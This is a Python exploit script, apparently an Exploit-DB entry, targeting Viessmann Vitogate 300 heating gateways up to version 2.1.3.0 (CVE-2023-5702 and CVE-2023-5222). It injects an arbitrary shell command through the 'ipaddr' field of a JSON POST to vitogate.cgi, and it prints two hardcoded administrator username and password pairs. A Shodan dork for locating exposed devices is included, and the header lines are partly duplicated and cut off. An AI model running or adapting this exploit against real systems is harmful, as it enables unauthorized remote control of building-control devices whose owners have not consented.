#- Shodan Dork: http.title:'Vitogate 300'
#- Exploit Author: ByteHunter
#- Email: 0xByte #- Exploit Title: Viessmann Vitogate 300 <= 2.1.3.0 - Remote Code Execution (RCE)
#- Shodan Dork: http.title:'Vitogate 300'
#- Exploit Author: ByteHunter
#- Email: 0xByteHunter@proton.me
#- Version: versions up to 2.1.3.0
#- Tested on: 2.1.1.0
#- CVE : CVE-2023-5702 & CVE-2023-5222
import argparse
import requests
def banner():
banner = """
╔═══════════════════════════════════╗
CVE-2023-5702
Vitogate 300 RCE
Author: ByteHunter
╚═══════════════════════════════════╝
"""
print(banner)
def send_post_request(target_ip, command, target_port):
payload = {
"method": "put",
"form": "form-4-7",
"session": "",
"params": {
"ipaddr": f"1;{command}"
}
}
headers = {
"Host": target_ip,
"Content-Length": str(len(str(payload))),
"Content-Type": "application/json"
}
url = f"http://{target_ip}:{target_port}/cgi-bin/vitogate.cgi"
response = requests.post(url, json=payload, headers=headers)
if response.status_code == 200:
print("Result:")
print(response.text)
else:
print(f"Request failed! status code: {response.status_code}")
def main():
parser = argparse.ArgumentParser(description="Vitogate 300 RCE & Hardcoded Credentials")
parser.add_argument("--target", required=False, help="Target IP address")
parser.add_argument("--port", required=False, help="Target port",default="80")
parser.add_argument("--command", required=False, help="Command")
parser.add_argument("--creds", action="store_true", help="Show hardcoded credentials")
args = parser.parse_args()
if args.creds:
print("Vitogate 300 hardcoded administrative accounts credentials")
print("Username: vitomaster, Password: viessmann1917")
print("Username: vitogate, Password: viessmann")
else:
target_ip = args.target
target_port = args.port
command = args.command
if not (target_ip and command):
print("Both --target and --command options are required. or use --creds option to see hardcoded Credentials.")
return
send_post_request(target_ip, command,target_port)
if __name__ == "__main__":
banner()
main()